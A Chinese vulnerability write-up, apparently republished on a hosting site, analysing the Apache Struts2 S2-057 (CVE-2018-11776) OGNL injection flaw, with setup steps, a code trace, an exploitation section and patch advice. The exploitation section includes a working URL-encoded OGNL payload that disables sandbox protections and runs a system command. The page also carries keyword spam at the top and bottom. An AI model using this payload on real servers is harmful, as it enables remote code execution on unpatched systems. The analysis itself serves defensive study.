91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

發布時間:2022-01-17 09:11:24 來源:億速云 閱讀:214 作者:柒染 欄目:安全技術

這篇文章給大家介紹如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

前言

Apache Struts框架是一個基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web應用框架的開源項目,Struts基于Model-View-Controller (MVC)的設計模式,可以用來構件復雜的Web應用。它允許我們分解一個應用程序的商業邏輯、控制邏輯和表現邏輯的代碼,使它的重用性和維護性更好。Struts框架是Jakarta工程的一部分,由Apache軟件基金會管理。

天融信阿爾法實驗室將為你帶來Apache Struts2 S2-057遠程代碼執行漏洞分析~

一、 漏洞描述

當struts.mapper.alwaysSelectFullNamespace設置為true,并且package標簽頁以及result的param標簽頁的namespace值的缺失,或使用了通配符時可造成namespace被控制,最終namespace會被帶入OGNL語句執行,從而產生遠程代碼執行漏洞。

1. 受影響的系統版本

Apache Struts 2.3 - Struts 2.3.34

Apache Struts 2.5 - Struts 2.5.16

2. 漏洞編號

CVE-2018-11776

二、環境搭建

1.下載:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip

2. 修改配置文件struts-actionchaining.xml

該漏洞有多種攻擊向量包括:

Redirect action

Action chaining

Postback result

以第一種為例子,修改配置文件內容為:

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析    

三、漏洞細節

在DefaultActionMapper這個類的parseNameAndNamespace方法里。

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

當alwaysSelectFullNamespace被設置為true時,namespace的值是從URL中獲取的。URL是可控的,所以namespace也是可控的。

Action執行結束之后,程序會調用ServletActionRedirectResult類中的execute()方法進行重定向Result的解析。

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

首先,當namespace為空時,調用invocation.getProxy().getNamespace()賦值給變量namespace,然后將變量namespace傳入ActionMapping構造函數中。

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

然后,ActionMapper.getUriFromActionMapping()對ActionMapping后的值進行重組,生成一個URL字符串(包含namespace),并賦值給了tmplocation變量。

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

緊接著將帶有namespace的tmplocation傳入了setLocation()方法中。

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

該方法將tmpLocation值賦值給了StrutsResultSupport類中的location變量。

然后,跟蹤super.execute()方法。

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

繼續跟蹤ServletActionResult類中的super.execute()。

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

在StrutsResultSupport類中的execute()方法中,剛剛被賦值的location變量(帶有namespace的)被傳入了conditionalParse()方法。

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

最終,通過TextParseUtil.translateVariables()對namespace進行OGNL解析,導致遠程代碼執行漏洞。

四、漏洞利用

1. 訪問url 為/${(111+111)}/actionChain1.action的地址。

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

訪問觸發OGNL表達式,url變為/222/register2.action,漏洞存在。

2. payload:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d

此payload 僅適用于2.3系列版本。

如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析

五、修復建議

1. 官方補丁

目前官方已發布最新版本來修復此漏洞,受影響的用戶請盡快升級到Apache Struts 2.3.35 或 Struts 2.5.17版本:https://struts.apache.org/download.cgi#struts2517。

2. 手工修復

修改配置文件:

固定package標簽頁以及result的param標簽頁的namespace值,以及禁止使用通配符。

關于如何進行Apache Struts2 S2-057遠程代碼執行漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

阜宁县| 元谋县| 诏安县| 鱼台县| 紫金县| 封丘县| 牙克石市| 崇文区| 福鼎市| 连城县| 应城市| 耿马| 石狮市| 湘阴县| 勐海县| 和林格尔县| 鹤岗市| 高邮市| 亳州市| 铅山县| 徐闻县| 安化县| 将乐县| 宁乡县| 滨海县| 伊通| 耒阳市| 大同县| 卢龙县| 乐山市| 井冈山市| 西藏| 伊川县| 贡觉县| 桦南县| 白玉县| 沙河市| 高唐县| 剑川县| 延吉市| 莱西市|